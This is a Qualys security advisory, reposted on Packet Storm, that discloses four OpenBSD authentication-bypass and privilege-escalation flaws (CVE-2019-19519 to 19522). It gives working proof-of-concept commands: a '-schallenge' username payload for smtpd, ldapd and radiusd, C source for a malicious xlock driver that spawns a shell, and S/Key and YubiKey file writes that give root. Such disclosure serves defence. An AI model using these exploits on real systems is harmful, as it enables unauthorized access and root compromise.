what you don't know can hurt you

Qualys Security Advisory - OpenBSD Authentication Bypass / Privilege Escalation

Qualys Security Advisory - OpenBSD Authentication Bypass / Privilege Escalation
Posted Dec 5, 2019
Site qualys.com

Qualys has discovered that OpenBSD suffers from multiple authentication bypass and local privilege escalation vulnerabilities.

tags | exploit, local, vulnerability
systems | openbsd
advisories | CVE-2019-19519, CVE-2019-19520, CVE-2019-19521, CVE-2019-19522
MD5 | d6969e8f9fe831e7159e05c1c9e6aa26

Qualys Security Advisory - OpenBSD Authentication Bypass / Privilege Escalation

Change Mirror Download

Qualys Security Advisory

Authentication vulnerabilities in OpenBSD


==============================================================================
Contents
==============================================================================

1. CVE-2019-19521: Authentication bypass
1.1. Analysis
1.2. Case study: smtpd
1.3. Case study: ldapd
1.4. Case study: radiusd
1.5. Case study: sshd
1.6. Case study: su
2. CVE-2019-19520: Local privilege escalation via xlock
3. CVE-2019-19522: Local privilege escalation via S/Key and YubiKey
4. CVE-2019-19519: Local privilege escalation via su
5. Acknowledgments


==============================================================================
1. CVE-2019-19521: Authentication bypass
==============================================================================

We discovered an authentication-bypass vulnerability in OpenBSD's
authentication system: this vulnerability is remotely exploitable in
smtpd, ldapd, and radiusd, but its real-world impact should be studied
on a case-by-case basis. For example, sshd is not exploitable thanks to
its defense-in-depth mechanisms.


==============================================================================
1.1. Analysis
==============================================================================

From the manual page of login.conf:

------------------------------------------------------------------------------
OpenBSD uses BSD Authentication, which is made up of a variety of
authentication styles. The authentication styles currently provided are:
...
passwd Request a password and check it against the password in the
master.passwd file. See login_passwd(8).
...
skey Send a challenge and request a response, checking it with
S/Key (tm) authentication. See login_skey(8).
...
yubikey Authenticate using a Yubico YubiKey token. See
login_yubikey(8).
...
For any given style, the program /usr/libexec/auth/login_style is used to
perform the authentication. The synopsis of this program is:

/usr/libexec/auth/login_style [-v name=value] [-s service] username class
------------------------------------------------------------------------------

This is the first piece of the puzzle: if an attacker specifies a
username of the form "-option", they can influence the behavior of the
authentication program in unexpected ways.

From the manual page of login_passwd:

------------------------------------------------------------------------------
login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user
[class]
...
The service argument specifies which protocol to use with the invoking
program. The allowed protocols are login, challenge, and response. (The
challenge protocol is silently ignored but will report success as passwd-
style authentication is not challenge-response based).
------------------------------------------------------------------------------

This is the second piece of the puzzle: if an attacker specifies the
username "-schallenge" (or "-schallenge:passwd" to force a passwd-style
authentication), then the authentication is automatically successful and
therefore bypassed.


==============================================================================
1.2. Case study: smtpd
==============================================================================

To demonstrate how smtpd's authentication can be bypassed, we follow the
instructions from the manual page of smtpd.conf:

------------------------------------------------------------------------------
In this second example, the aim is to permit mail delivery and relaying
only for users that can authenticate (using their normal login
credentials).
...
listen on egress tls pki mail.example.com auth
...
match auth from any for any action "outbound"
------------------------------------------------------------------------------

and we restart smtpd. Then, with our remote-attacker hat on:

------------------------------------------------------------------------------
$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy

$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded
------------------------------------------------------------------------------


==============================================================================
1.3. Case study: ldapd
==============================================================================

From the manual page of ldapd:

------------------------------------------------------------------------------
ldapd can authenticate users via simple binds or SASL with the PLAIN
mechanism.
...
When using SASL binds, the authentication ID should be a valid username
for BSD Authentication.

For plain text passwords to be accepted, the connection must be
considered secure, either by using an encrypted connection, or by using
the secure keyword in the configuration file.
------------------------------------------------------------------------------

Over such a secure connection, a remote attacker can bypass ldapd's SASL
authentication:

------------------------------------------------------------------------------
$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whatever
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)

$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whatever
SASL/PLAIN authentication started
SASL username: -schallenge
...
# numResponses: 1
------------------------------------------------------------------------------


==============================================================================
1.4. Case study: radiusd
==============================================================================

To show how radiusd's authentication can be bypassed, we adapt the
configuration example from the manual page of radiusd.conf:

------------------------------------------------------------------------------
module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"
...
authenticate * {
authenticate-by "bsdauth"
}
------------------------------------------------------------------------------

and we send the following (successful) authentication request:

------------------------------------------------------------------------------
$ radiusctl test 192.168.56.121 secret -schallenge password whatever
...
Reply-Message = "Authentication succeeded"
------------------------------------------------------------------------------

If we further modify radiusd's configuration to restrict access to the
members of the group "operator":

------------------------------------------------------------------------------
module set "bsdauth" "restrict-group" "operator"
------------------------------------------------------------------------------

and send our authentication request, then radiusd_bsdauth crashes
because of a NULL-pointer dereference (because getpwnam("-schallenge")
returns NULL):

------------------------------------------------------------------------------
80 int
81 main(int argc, char *argv[])
82 {
...
192 pw = getpwnam(user);
...
197 if (gr->gr_gid == pw->pw_gid) {
------------------------------------------------------------------------------


==============================================================================
1.5. Case study: sshd
==============================================================================

Even if an attacker were able to bypass sshd's authentication with an
invalid user such as "-schallenge", sshd would eventually reject it:

------------------------------------------------------------------------------
225 void
226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)
227 {
...
229 int authenticated = 0, partial = 0;
...
249 while (!authenticated) {
...
288 }
289
290 if (!authctxt->valid)
291 fatal("%s: authenticated invalid user", __func__);
------------------------------------------------------------------------------

Nevertheless, we can use sshd to remotely test whether an OpenBSD system
is vulnerable to CVE-2019-19521 or not:

------------------------------------------------------------------------------
$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \
-o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121
...
debug1: Next authentication method: keyboard-interactive
------------------------------------------------------------------------------

It is vulnerable if the connection hangs, because sshd waits for
login_passwd to send a challenge, while login_passwd waits for sshd to
send a response (because login_passwd interprets the username
"-sresponse" as an option).


==============================================================================
1.6. Case study: su
==============================================================================

A local attacker can bypass su's authentication for the invalid user
"-schallenge", but su eventually crashes because of a NULL-pointer
dereference (because getpwnam_r("-schallenge", ...) returns NULL):

------------------------------------------------------------------------------
$ su -L -- -schallenge
Segmentation fault
------------------------------------------------------------------------------


==============================================================================
2. CVE-2019-19520: Local privilege escalation via xlock
==============================================================================

On OpenBSD, /usr/X11R6/bin/xlock is installed by default and is
set-group-ID "auth", not set-user-ID; the following check is therefore
incomplete and should use issetugid() instead:

------------------------------------------------------------------------------
101 _X_HIDDEN void *
102 driOpenDriver(const char *driverName)
103 {
...
113 if (geteuid() == getuid()) {
114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115 libPaths = getenv("LIBGL_DRIVERS_PATH");
------------------------------------------------------------------------------

A local attacker can exploit this vulnerability and dlopen() their own
driver to obtain the privileges of the group "auth":

------------------------------------------------------------------------------
$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
gid_t rgid, egid, sgid;
if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)
------------------------------------------------------------------------------


==============================================================================
3. CVE-2019-19522: Local privilege escalation via S/Key and YubiKey
==============================================================================

If the S/Key or YubiKey authentication type is enabled (they are both
installed by default but disabled), then a local attacker can exploit
the privileges of the group "auth" to obtain the full privileges of the
user "root" (because login_skey and login_yubikey do not verify that the
files in /etc/skey and /var/db/yubikey belong to the correct user, and
these directories are both writable by the group "auth").

(Note: to obtain the privileges of the group "auth", a local attacker
can first exploit CVE-2019-19520 in xlock.)

If S/Key is enabled (via skeyinit -E), a local attacker with "auth"
privileges can add an S/Key entry (a file in /etc/skey) for the user
"root" (if this file already exists, the attacker cannot simply remove
or rename it, because /etc/skey is sticky; a simple workaround exists,
and is left as an exercise for the interested reader):

------------------------------------------------------------------------------
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN

# id
uid=0(root) gid=0(wheel) ...
------------------------------------------------------------------------------

If YubiKey is enabled (via login.conf), a local attacker with "auth"
privileges can add a YubiKey entry (two files in /var/db/yubikey) for
the user "root" (if these files already exist, the attacker can simply
remove or rename them, because /var/db/yubikey is not sticky):

------------------------------------------------------------------------------
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey
Password: krkhgtuhdnjclrikikklulkldlutreul

# id
uid=0(root) gid=0(wheel) ...
------------------------------------------------------------------------------


==============================================================================
4. CVE-2019-19519: Local privilege escalation via su
==============================================================================

A local attacker can exploit su's -L option ("Loop until a correct
username and password combination is entered") to log in as themselves
but with another user's login class (with the exception of root's login
class if the attacker is not in the group "wheel"), because the class
variable is set once and never reset:

------------------------------------------------------------------------------
60 int
61 main(int argc, char **argv)
62 {
...
174 for (;;) {
...
210 if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')
211 class = strdup(pwd->pw_class);
------------------------------------------------------------------------------

In the following example, Jane (who is a member of the group "wheel")
logs in with root's login class ("daemon"), thereby increasing her
resource limits:

------------------------------------------------------------------------------
$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes 512

$ su -l -L
login: root
Password:
Login incorrect
login: jane
Password:

$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes 1310
------------------------------------------------------------------------------

In the following example, John (who is not a member of the group
"wheel") logs in with _pbuild's login class ("pbuild"), thereby
increasing his resource limits:

------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes) 786432
...
processes 256

$ su -l -L
login: _pbuild
Password:
Login incorrect
login: john
Password:

$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes) 33554432
...
processes 1024
------------------------------------------------------------------------------


==============================================================================
5. Acknowledgments
==============================================================================

We thank Theo de Raadt and the OpenBSD developers for their incredibly
quick response: they published patches for these vulnerabilities less
than 40 hours after our initial contact. We also thank MITRE's CVE
Assignment Team.



[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>



This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    13 Files
  • 28
    May 28th
    18 Files
  • 29
    May 29th
    17 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close